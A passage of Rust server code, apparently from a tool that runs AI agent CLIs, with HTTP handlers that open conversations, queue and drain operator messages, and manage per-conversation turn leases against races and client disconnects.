9041    State(ui): State<Arc<Ui>>,
9042    Query(q): Query<ListQuery>,
9043    headers: header::HeaderMap,
9044) -> ApiResult<Json<Vec<TalkListView>>> {
9045    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9046        let limit = q.limit.unwrap_or(50).min(50);
9047        let ids = if let Some(ids) = q.ids {
9048            ids.split(',')
9049                .filter(|id| plain_record_id(id))
9050                .take(limit)
9051                .map(str::to_owned)
9052                .collect()
9053        } else {
9054            page_ids(&ui, true, PageQuery::default())?
9055                .0
9056                .into_iter()
9057                .take(limit.min(STORE_PAGE_SIZE))
9058                .collect()
9059        };
9060        Ok(Json(talk_rows(&ui, ids, &headers)))
9061    })
9062    .await
9063}
9064
9065/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9066/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9067/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9068/// end still opens a talk against an older binary.
9069#[derive(Debug, Default, Deserialize)]
9070#[serde(default)]
9071struct NewTalk {
9072    agent: Option<String>,
9073    repo: Option<PathBuf>,
9074    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9075    /// wrong type is dropped like a stale value instead of failing the request;
9076    /// each falls back to its default on its own (see [`talk::begin_with`]).
9077    preferred_agent: Option<serde_json::Value>,
9078    persona: Option<serde_json::Value>,
9079    implementers: Option<serde_json::Value>,
9080}
9081
9082/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9083/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9084async fn talk_post(
9085    State(ui): State<Arc<Ui>>,
9086    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9087) -> ApiResult<impl IntoResponse> {
9088    // An absent body, or an empty one, is the normal way to open a talk - see
9089    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9090    // rather than refused.
9091    let body = match body {
9092        Ok(Json(body)) => body,
9093        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9094        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9095    };
9096    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9097    let cfg = config_for(&repo).await?;
9098    let view = blocking(move || {
9099        let preferred = talk::Preferred {
9100            agent: body
9101                .preferred_agent
9102                .as_ref()
9103                .and_then(|v| v.as_str())
9104                .map(str::to_owned),
9105            persona: body
9106                .persona
9107                .as_ref()
9108                .and_then(|v| v.as_str())
9109                .map(str::to_owned),
9110            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9111        };
9112        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9113        let thinking = ui.is_thinking(&talk.id);
9114        Ok(TalkView::new(talk, thinking, &ui))
9115    })
9116    .await?;
9117    Ok((StatusCode::CREATED, Json(view)))
9118}
9119
9120/// Transcript first: unrelated queue history and repository probes are deferred.
9121async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9122    // Keep transcript reads independent of sections and the runtime blocking pool.
9123    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9124        let id = resolve_talk(&ui.talks, &id)?;
9125        let talk = ui.talks.get(&id)?;
9126        let thinking = ui.is_thinking_observed(&id);
9127        // The browser already resolves Markdown text/code references after
9128        // rendering. A cold reference/review index must not gate the transcript.
9129        Ok(Json(TalkView::with_references(
9130            talk,
9131            thinking,
9132            None,
9133            &ui.home,
9134            &id_links::IdIndex::default(),
9135        )))
9136    })
9137    .await
9138}
9139
9140async fn talk_sections(
9141    State(ui): State<Arc<Ui>>,
9142    Path(id): Path<String>,
9143) -> ApiResult<Json<serde_json::Value>> {
9144    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9145        let id = resolve_talk(&ui.talks, &id)?;
9146        let talk = ui.talks.get(&id)?;
9147        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9148        let task_progress = talk_task_progress(&tasks);
9149        let tasks: Vec<_> = tasks
9150            .into_iter()
9151            .map(|task| {
9152                serde_json::json!({
9153                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9154                })
9155            })
9156            .collect();
9157        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9158        let roster: Vec<_> = cfg
9159            .as_ref()
9160            .map(|cfg| {
9161                cfg.agents
9162                    .iter()
9163                    .map(|a| RosterEntry {
9164                        id: a.id.clone(),
9165                        kind: a.kind,
9166                        runnable: agent::installed(a),
9167                    })
9168                    .collect()
9169            })
9170            .unwrap_or_default();
9171        let specs = cfg
9172            .as_ref()
9173            .map(|cfg| cfg.talk.personas.clone())
9174            .unwrap_or_default();
9175        let personas: Vec<_> = persona::catalog(&specs)
9176            .into_iter()
9177            .map(|p| PersonaEntry {
9178                avatar: avatar_url(&ui.home, &talk.id, &p),
9179                id: p.id,
9180                name: p.name,
9181            })
9182            .collect();
9183        let active_persona = persona::find(&specs, &talk.persona)
9184            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9185        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9186        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9187        Ok(Json(serde_json::json!({
9188            "tasks": tasks, "task_progress": task_progress,
9189            "roster": roster, "personas": personas,
9190            "context": talk::context_usage(&talk, cfg.as_ref()),
9191            "context_for": talk.updated_at,
9192            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9193            "persona_name": persona_name,
9194            "persona_avatar": persona_avatar,
9195        })))
9196    })
9197    .await
9198}
9199
9200/// `GET /api/talks/{id}`.
9201async fn talk_detail(
9202    State(ui): State<Arc<Ui>>,
9203    Path(id): Path<String>,
9204) -> ApiResult<Json<TalkDetailView>> {
9205    blocking(move || {
9206        let id = resolve_talk(&ui.talks, &id)?;
9207        let talk = ui.talks.get(&id)?;
9208        let thinking = ui.is_thinking_observed(&talk.id);
9209        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9210        let task_progress = talk_task_progress(&tasks);
9211        let tasks = tasks.into_iter().map(TaskView::from).collect();
9212        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9213        let roster = cfg
9214            .as_ref()
9215            .map(|cfg| {
9216                cfg.agents
9217                    .iter()
9218                    .map(|a| RosterEntry {
9219                        id: a.id.clone(),
9220                        kind: a.kind,
9221                        runnable: agent::installed(a),
9222                    })
9223                    .collect()
9224            })
9225            .unwrap_or_default();
9226        let specs = cfg
9227            .as_ref()
9228            .map(|cfg| cfg.talk.personas.clone())
9229            .unwrap_or_default();
9230        let personas = persona::catalog(&specs)
9231            .into_iter()
9232            .map(|p| PersonaEntry {
9233                avatar: avatar_url(&ui.home, &talk.id, &p),
9234                id: p.id,
9235                name: p.name,
9236            })
9237            .collect();
9238        Ok(Json(TalkDetailView {
9239            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9240            tasks,
9241            task_progress,
9242            roster,
9243            personas,
9244        }))
9245    })
9246    .await
9247}
9248
9249/// The body of `POST /api/talks/{id}/say`.
9250///
9251/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9252/// returned - never bytes of its own - so a turn with no images just omits
9253/// the field, which is what an older front end still does.
9254#[derive(Debug, Default, Deserialize)]
9255#[serde(default, deny_unknown_fields)]
9256struct NewTalkTurn {
9257    reply_to: Option<talk::ReplyTarget>,
9258    text: String,
9259    attachments: Vec<String>,
9260}
9261
9262#[derive(Debug, Deserialize)]
9263#[serde(deny_unknown_fields)]
9264struct EditTalkPending {
9265    #[serde(default)]
9266    message: Option<usize>,
9267    text: String,
9268    expected_text: String,
9269    expected_attachments: Vec<String>,
9270}
9271
9272#[derive(Debug, Deserialize)]
9273#[serde(deny_unknown_fields)]
9274struct ClearTalkPending {
9275    expected_text: String,
9276    expected_attachments: Vec<String>,
9277}
9278
9279/// `POST /api/talks/{id}/say` - one turn of the conversation.
9280///
9281/// Not filesystem work, and therefore not routed through [`blocking`]: this
9282/// route spawns an agent CLI and a turn here can run for the whole of
9283/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9284/// research turn is expected to run commands rather than answer from what it
9285/// already knows. Holding an HTTP connection open that long is not a thing
9286/// to ask a phone to do; the operator's message is recorded and answered for
9287/// immediately, and the reply lands in the background, discovered through
9288/// the change stream's `talks_rev` the same way every other update on this
9289/// surface is.
9290async fn talk_say(
9291    State(ui): State<Arc<Ui>>,
9292    Path(id): Path<String>,
9293    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9294) -> ApiResult<(StatusCode, Json<TalkView>)> {
9295    let admission = ui.begin_admission()?;
9296    admitted(admission, async move {
9297    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9298    if body.text.trim().is_empty() && body.attachments.is_empty() {
9299        return Err(ApiError::bad_request("say something"));
9300    }
9301
9302    let id = {
9303        let ui = Arc::clone(&ui);
9304        let asked = id.clone();
9305        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9306    };
9307    // A closed Talk never accepts a new immediate or queued turn. Check this
9308    // before claiming a slot so its ordinary domain refusal is a 409, not an
9309    // incidental failure from the later record/queue write.
9310    {
9311        let ui = Arc::clone(&ui);
9312        let id = id.clone();
9313        blocking(move || {
9314            let talk = ui.talks.get(&id)?;
9315            if !talk.status.open() {
9316                return Err(ApiError::conflict(format!(
9317                    "talk {} is {} and takes no more turns",
9318                    talk.short(),
9319                    talk.status.as_str()
9320                )));
9321            }
9322            Ok(())
9323        })
9324        .await?;
9325    }
9326
9327    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9328    // actually stores, before anything is written - an unknown id is a 4xx
9329    // that names it rather than a turn (or a queued draft) silently missing
9330    // an image.
9331    let attachments = {
9332        let ui = Arc::clone(&ui);
9333        let id = id.clone();
9334        let ids = body.attachments.clone();
9335        blocking(move || {
9336            ids.into_iter()
9337                .map(|att_id| {
9338                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9339                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9340                    })
9341                })
9342                .collect::<ApiResult<Vec<talk::Attachment>>>()
9343        })
9344        .await?
9345    };
9346    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9347        .await.map_err(ApiError::from)?;
9348
9349    // Pending recovery and a new immediate turn are decided under the same
9350    // claim lock. Without that one critical section, a second `/say` can see
9351    // the first request's claim as "busy" and append itself to the recovered
9352    // draft before the first request rejects it.
9353    let start = {
9354        let ui = Arc::clone(&ui);
9355        let id = id.clone();
9356        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9357    };
9358    let turn_guard = match start {
9359        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9360        TalkTurnStart::Pending => {
9361            return Err(ApiError::conflict(
9362                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9363            ));
9364        }
9365        TalkTurnStart::Foreign => {
9366            return Err(ApiError::conflict(
9367                "a turn is already running in another process; try again when it has finished",
9368            ));
9369        }
9370        TalkTurnStart::Busy => {
9371            // A turn is already running: queue rather than refuse. See
9372            // `Ui::begin_talk_turn` and `talk::queue`.
9373            //
9374            // The queue write and the drain it may owe live inside the task
9375            // `tokio::spawn` hands to the runtime, for the same reason the
9376            // immediate path below puts `record` there: a dropped handler
9377            // future must not be able to land between a durable write and
9378            // the task that answers it. `blocking` runs its closure on
9379            // `spawn_blocking`, which finishes whether or not anyone is left
9380            // to receive its result - so a disconnect at the `.await` below
9381            // would otherwise leave the draft persisted and the reclaimed
9382            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9383            // ever started and the queued text stranded until some later
9384            // `say` happened to pick it up. The caller's 202 travels back
9385            // over a `oneshot`, sent the moment the write lands.
9386            let (tx, rx) = tokio::sync::oneshot::channel();
9387            tokio::spawn({
9388                let ui = Arc::clone(&ui);
9389                let id = id.clone();
9390                let said = body.text.clone();
9391                let reply_to = body.reply_to.clone();
9392                async move {
9393                    let written = blocking({
9394                        let ui = Arc::clone(&ui);
9395                        let id = id.clone();
9396                        move || {
9397                            let mut talk = ui.talks.get(&id)?;
9398                            // A test-only stop point, right before the write
9399                            // an interleaving test needs to pin - see
9400                            // `BusyQueueGate`. `None` in every real server:
9401                            // the field only exists under `#[cfg(test)]`.
9402                            #[cfg(test)]
9403                            if let Some(gate) = ui
9404                                .busy_queue_gate
9405                                .lock()
9406                                .unwrap_or_else(PoisonError::into_inner)
9407                                .take()
9408                            {
9409                                let _ = gate.reached.send(());
9410                                let _ = gate.release.recv();
9411                            }
9412                            if let Err(error) = talk::queue_reply(
9413                                &mut talk,
9414                                &ui.talks,
9415                                &said,
9416                                attachments,
9417                                reply_to,
9418                            ) {
9419                                if let Ok(fresh) = ui.talks.get(&id) {
9420                                    if !fresh.status.open() {
9421                                        return Err(ApiError::conflict(format!(
9422                                            "talk {} is {} and takes no more turns",
9423                                            fresh.short(),
9424                                            fresh.status.as_str()
9425                                        )));
9426                                    }
9427                                }
9428                                return Err(
9429                                    if error.to_string().contains("invalid reply target") {
9430                                        ApiError::bad_request("invalid reply target")
9431                                    } else {
9432                                        ApiError::from(error)
9433                                    },
9434                                );
9435                            }
9436                            // The turn that looked busy a moment ago can have
9437                            // finished, found nothing to drain and given up the
9438                            // slot in the gap between that check and this write
9439                            // landing - see `drain_loop`'s own doc for the other
9440                            // half of why that gap would otherwise be able to
9441                            // open at all. Reclaiming the slot here, rather than
9442                            // trusting that whoever held it is still watching, is
9443                            // what stops the text just queued from being stranded
9444                            // until an unrelated future `say` happens to drain
9445                            // it.
9446                            let claim = match ui.begin_queued_talk_turn(&id)? {
9447                                Some(turn_guard) => {
9448                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9449                                    Some((talk.clone(), cfg, turn_guard))
9450                                }
9451                                None => None,
9452                            };
9453                            let thinking = ui.is_thinking(&id);
9454                            Ok((TalkView::new(talk, thinking, &ui), claim))
9455                        }
9456                    })
9457                    .await;
9458                    #[cfg(not(test))]
9459                    {
9460                        match written {
9461                            Ok((view, reclaimed)) => {
9462                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9463                                drop(reclaimed);
9464                                match launched {
9465                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9466                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9467                                }
9468                            }
9469                            Err(error) => { let _ = tx.send(Err(error)); }
9470                        }
9471                    }
9472                    #[cfg(test)]
9473                    {
9474                    let (view, reclaimed) = match written {
9475                        Ok(pair) => pair,
9476                        Err(e) => {
9477                            // Nobody is listening if the handler's own future
9478                            // was already dropped - that is fine, nothing was
9479                            // persisted and there is no response left to carry
9480                            // this error to.
9481                            let _ = tx.send(Err(e));
9482                            return;
9483                        }
9484                    };
9485                    // If this fails, the caller is gone; the drain below still
9486                    // runs exactly as it would have for a caller that stayed.
9487                    let _ = tx.send(Ok(view));
9488                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9489                        let talks = ui.talks.clone();
9490                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9491                    }
9492                    }
9493                }
9494            });
9495            let view = rx
9496                .await
9497                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9498            return Ok((StatusCode::ACCEPTED, Json(view)));
9499        }
9500    };
9501
9502    let (talk, cfg) = {
9503        let ui = Arc::clone(&ui);
9504        let id = id.clone();
9505        blocking(move || {
9506            let talk = ui.talks.get(&id)?;
9507            let (cfg, _) = Config::discover(&talk.repo, None)?;
9508            Ok((talk, cfg))
9509        })
9510        .await?
9511    };
9512
9513    let talks = ui.talks.clone();
9514    // `record` runs *inside* the spawned task, rather than in this handler
9515    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9516    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9517    // doc), and that drop can land at any `.await` this function makes,
9518    // including one that has already produced its result but not yet
9519    // resumed. A message could end up recorded on disk with the handler
9520    // future gone before it ever reached the `tokio::spawn` that would have
9521    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9522    // that hands the whole future to the runtime as one unit - once made, no
9523    // later drop of *this* handler's own future (that call's return value is
9524    // never held onto here) can reach back in and stop it, so record and the
9525    // hand-off to `respond` are unconditionally atomic from the client's
9526    // point of view. The immediate response this handler owes the caller
9527    // travels back over a `oneshot`, sent the moment `record` succeeds.
9528    let (tx, rx) = tokio::sync::oneshot::channel();
9529    tokio::spawn({
9530        #[cfg(test)]
9531        let ui = Arc::clone(&ui);
9532        let talks = talks.clone();
9533        let id = id.clone();
9534        let said = body.text.clone();
9535        let reply_to = body.reply_to.clone();
9536        let mut talk = talk.clone();
9537        async move {
9538            let recorded = blocking({
9539                let talks = talks.clone();
9540                move || {
9541                    if let Err(error) =
9542                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9543                    {
9544                        if let Ok(fresh) = talks.get(&talk.id) {
9545                            if !fresh.status.open() {
9546                                return Err(ApiError::conflict(format!(
9547                                    "talk {} is {} and takes no more turns",
9548                                    fresh.short(),
9549                                    fresh.status.as_str()
9550                                )));
9551                            }
9552                        }
9553                        return Err(if error.to_string().contains("invalid reply target") {
9554                            ApiError::bad_request("invalid reply target")
9555                        } else {
9556                            ApiError::from(error)
9557                        });
9558                    }
9559                    // `record` mutates `talk` in place to the freshly persisted
9560                    // state (status, pending, and the just-appended operator
9561                    // turn), so returning it here is equivalent to re-reading it
9562                    // from disk - without the extra round trip a re-read would
9563                    // need.
9564                    Ok((said.trim().to_owned(), talk))
9565                }
9566            })
9567            .await;
9568            let (text, talk) = match recorded {
9569                Ok(pair) => pair,
9570                Err(e) => {
9571                    // Nobody is listening if the handler's own future was
9572                    // already dropped - that is fine, there is no response
9573                    // left to carry this error to and nothing was persisted.
9574                    let _ = tx.send(Err(e));
9575                    return;
9576                }
9577            };
9578            #[cfg(not(test))]
9579            {
9580                let _ = (&cfg, &text);
9581                // The reservation becomes durable while this process still
9582                // holds the talk lease. The child waits for that lease; the
9583                // new UI sees its startup reservation immediately.
9584                let result = crate::consult::spawn_recorded_turn(
9585                    &talks, &id, talk.turns.len() - 1,
9586                ).await;
9587                drop(turn_guard);
9588                match result {
9589                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9590                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9591                }
9592            }
9593            #[cfg(test)]
9594            {
9595            let queued = talk.clone();
9596            let mut talk = talk;
9597            let thinking = ui.is_thinking(&id);
9598            // If this fails, the caller is gone; the turn still runs below
9599            // exactly as it would have for a caller that stayed connected.
9600            let _ = tx.send(Ok((queued, thinking)));
9601
9602            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9603                // `respond` records the failure in the transcript itself,
9604                // which is what the phone reads; this line is for the
9605                // operator's terminal.
9606                tracing::warn!("talk {id} turn failed: {e:#}");
9607            }
9608            // Anything `talk::queue` added while the turn above was running
9609            // is still owed an answer - see `drain_loop`.
9610            drain_loop(talk, talks, cfg, id, turn_guard).await;
9611            }
9612        }
9613    });
9614
9615    let (queued, thinking) = rx
9616        .await
9617        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9618
9619    // 202: the operator's message is recorded and a turn is running.
9620    Ok((
9621        StatusCode::ACCEPTED,
9622        Json(TalkView::new(queued, thinking, &ui)),
9623    ))
9624    }).await
9625}
9626
9627/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9628/// changing it. The turn guard is the same per-talk ownership `talk_say`
9629/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9630async fn talk_pending_resume(
9631    State(ui): State<Arc<Ui>>,
9632    Path(id): Path<String>,
9633) -> ApiResult<(StatusCode, Json<TalkView>)> {
9634    let admission = ui.begin_admission()?;
9635    admitted(admission, async move {
9636        let id = {
9637            let ui = Arc::clone(&ui);
9638            let asked = id.clone();
9639            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9640        };
9641        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9642            .await
9643            .map_err(ApiError::from)?;
9644        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9645            return Err(ApiError::conflict(
9646                "a talk turn is already running; the queued draft will be handled by it",
9647            ));
9648        };
9649        let (talk, cfg) = {
9650            let ui = Arc::clone(&ui);
9651            let id = id.clone();
9652            blocking(move || {
9653                let talk = ui.talks.get(&id)?;
9654                if !talk.status.open() {
9655                    return Err(ApiError::conflict(format!(
9656                        "talk {} is {} and takes no more turns",
9657                        talk.short(),
9658                        talk.status.as_str()
9659                    )));
9660                }
9661                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9662                    return Err(ApiError::conflict("there is no queued draft to resume"));
9663                }
9664                let (cfg, _) = Config::discover(&talk.repo, None)?;
9665                Ok((talk, cfg))
9666            })
9667            .await?
9668        };
9669        let view = TalkView::new(talk.clone(), true, &ui);
9670        let talks = ui.talks.clone();
9671        #[cfg(not(test))]
9672        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9673        #[cfg(test)]
9674        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9675        Ok((StatusCode::ACCEPTED, Json(view)))
9676    })
9677    .await
9678}
9679
9680/// Hand off an admitted draft while retaining the talk lease until its
9681/// detached startup reservation is durable.
9682#[cfg(not(test))]
9683async fn detach_talk_turn(
9684    _talk: Talk,
9685    talks: Talks,
9686    _cfg: Config,
9687    id: String,
9688    turn: TalkTurnGuard,
9689) -> ApiResult<()> {
9690    let launched = crate::consult::spawn_turn(&talks, &id).await;
9691    drop(turn);
9692    launched.map(|_| ()).map_err(ApiError::from)
9693}
9694
9695#[cfg(test)]
9696async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9697    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9698}
9699
9700/// A settings response must not report idle while its claim is still held.
9701/// Wait until the first drain either releases the claim or promotes a draft.
9702/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9703async fn settle_settings_turn(
9704    talk: Talk,
9705    talks: Talks,
9706    cfg: Config,
9707    id: String,
9708    turn: TalkTurnGuard,
9709    observed: u64,
9710) -> bool {
9711    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9712        let turns = Arc::clone(&turn.turns);
9713        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9714        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9715            // Release under the arrival lock; a later `/say` takes its own claim.
9716            turn.release(&mut live);
9717            return false;
9718        }
9719    }
9720    let (started, settled) = tokio::sync::oneshot::channel();
9721    tokio::spawn(drain_loop_started(
9722        talk,
9723        talks,
9724        cfg,
9725        id,
9726        turn,
9727        Some(started),
9728    ));
9729    settled.await.unwrap_or(false)
9730}
9731
9732#[cfg(not(test))]
9733async fn drain_loop_started(
9734    talk: Talk,
9735    talks: Talks,
9736    _cfg: Config,
9737    id: String,
9738    turn: TalkTurnGuard,
9739    started: Option<tokio::sync::oneshot::Sender<bool>>,
9740) {
9741    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9742    let running = if pending {
9743        match crate::consult::spawn_turn(&talks, &id).await {
9744            Ok(_) => true,
9745            Err(error) => {
9746                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9747                false
9748            }
9749        }
9750    } else {
9751        false
9752    };
9753    drop(turn);
9754    if let Some(started) = started {
9755        let _ = started.send(running);
9756    }
9757}
9758
9759// Existing in-process conversation tests exercise transcript/arrival ordering;
9760// real process-lifetime behavior is covered by the CLI integration tests.
9761#[cfg(test)]
9762async fn drain_loop_started(
9763    mut talk: Talk,
9764    talks: Talks,
9765    cfg: Config,
9766    id: String,
9767    turn: TalkTurnGuard,
9768    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9769) {
9770    let live_set = Arc::clone(&turn.turns);
9771    // `Option` rather than binding `turn` directly to a `_turn` that lives
9772    // for the whole function: releasing it has to happen by calling
9773    // `TalkTurnGuard::release` from inside the locked branch below, which
9774    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9775    // remove the id - correctly, if this loop is ever left some other way -
9776    // but doing it there misses the lock this loop is already holding, which
9777    // is the exact gap `release` exists to close.
9778    let mut turn = Some(turn);
9779    loop {
9780        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9781            // The lease was taken over while a turn ran. Whatever is queued
9782            // stays a draft; running it here would race the new owner.
9783            tracing::warn!("talk {id} lost its turn lease; not draining further");
9784            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9785            if let Some(turn) = turn.take() {
9786                turn.release(&mut live);
9787            }
9788            break;
9789        }
9790        // `talk::drain` takes the store lock and can write/rename the talk
9791        // file. Keep the turn mutex out of that synchronous work: it protects
9792        // every talk's in-memory claim, not this talk's disk operation.
9793        let observed = live_set
9794            .lock()
9795            .unwrap_or_else(PoisonError::into_inner)
9796            .queued
9797            .get(&id)
9798            .copied()
9799            .unwrap_or(0);
9800        let drained = blocking({
9801            let talks = talks.clone();
9802            move || {
9803                let result = talk::drain(&mut talk, &talks);
9804                Ok((talk, result))
9805            }
9806        })
9807        .await;
9808        let (next_talk, result) = match drained {
9809            Ok(drained) => drained,
9810            Err(e) => {
9811                tracing::warn!(
9812                    status = %e.status,
9813                    message = %e.message,
9814                    "talk {id} could not start queued-text drain"
9815                );
9816                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9817                turn.take()
9818                    .expect("held for the whole loop until released here")
9819                    .release(&mut live);
9820                break;
9821            }
9822        };
9823        talk = next_talk;
9824        let drained = match result {
9825            Ok(Some(drained)) => drained,
9826            Ok(None) => {
9827                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9828                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9829                    continue;
9830                }
9831                turn.take()
9832                    .expect("held for the whole loop until released here")
9833                    .release(&mut live);
9834                break;
9835            }
9836            Err(e) => {
9837                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9838                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9839                turn.take()
9840                    .expect("held for the whole loop until released here")
9841                    .release(&mut live);
9842                break;
9843            }
9844        };
9845        if let Some(started) = started.take() {
9846            let _ = started.send(true);
9847        }
9848        let responded = match turn.as_ref() {
9849            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9850            None => Err(anyhow::anyhow!("the turn guard was released")),
9851        };
9852        if let Err(e) = responded {
9853            tracing::warn!("talk {id} turn failed: {e:#}");
9854        }
9855    }
9856    drop(turn);
9857    if let Some(started) = started {
9858        let _ = started.send(false);
9859    }
9860}
9861
9862/// Clear a queued draft only if it remains exactly the one the caller saw.
9863async fn talk_pending_clear(
9864    State(ui): State<Arc<Ui>>,
9865    Path(id): Path<String>,
9866    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9867) -> ApiResult<Json<TalkView>> {
9868    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9869    blocking(move || {
9870        let id = resolve_talk(&ui.talks, &id)?;
9871        let mut talk = ui.talks.get(&id)?;
9872        if !talk.status.open() {
9873            return Err(ApiError::conflict(format!(
9874                "talk {} is {} and takes no more turns",
9875                talk.short(),
9876                talk.status.as_str()
9877            )));
9878        }
9879        if !talk::clear_pending_if_matches(
9880            &mut talk,
9881            &ui.talks,
9882            &body.expected_text,
9883            &body.expected_attachments,
9884        )? {
9885            return Err(ApiError::conflict(
9886                "queued message changed; reload it before clearing",
9887            ));
9888        }
9889        let thinking = ui.is_thinking(&talk.id);
9890        Ok(Json(TalkView::new(talk, thinking, &ui)))
9891    })
9892    .await
9893}
9894
9895/// Atomically edit a queued draft's text while preserving its attachments.
9896/// The snapshot fields make a concurrent queue or drain a conflict rather
9897/// than silently discarding either message.
9898async fn talk_pending_edit(
9899    State(ui): State<Arc<Ui>>,
9900    Path(id): Path<String>,
9901    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9902) -> ApiResult<Json<TalkView>> {
9903    let admission = ui.begin_admission()?;
9904    admitted(admission, async move {
9905        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9906        let id = {
9907            let ui = Arc::clone(&ui);
9908            blocking(move || resolve_talk(&ui.talks, &id)).await?
9909        };
9910        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9911            .await
9912            .map_err(ApiError::from)?;
9913        let (view, reclaimed) = blocking({
9914            let ui = Arc::clone(&ui);
9915            move || {
9916                let mut talk = ui.talks.get(&id)?;
9917                if !talk.status.open() {
9918                    return Err(ApiError::conflict(format!(
9919                        "talk {} is {} and takes no more turns",
9920                        talk.short(),
9921                        talk.status.as_str()
9922                    )));
9923                }
9924                if !talk::edit_pending_message(
9925                    &mut talk,
9926                    &ui.talks,
9927                    &body.text,
9928                    &body.expected_text,
9929                    &body.expected_attachments,
9930                    body.message,
9931                )? {
9932                    return Err(ApiError::conflict(
9933                        "queued message changed; reload it before editing",
9934                    ));
9935                }
9936                let claim = match ui.begin_queued_talk_turn(&id)? {
9937                    Some(turn_guard) => {
9938                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9939                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9940                    }
9941                    None => None,
9942                };
9943                let thinking = ui.is_thinking(&id);
9944                Ok((TalkView::new(talk, thinking, &ui), claim))
9945            }
9946        })
9947        .await?;
9948        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9949            let talks = ui.talks.clone();
9950            #[cfg(not(test))]
9951            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9952            #[cfg(test)]
9953            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9954        }
9955        Ok(Json(view))
9956    })
9957    .await
9958}
9959
9960/// The 409 for a talk that takes no more turns.
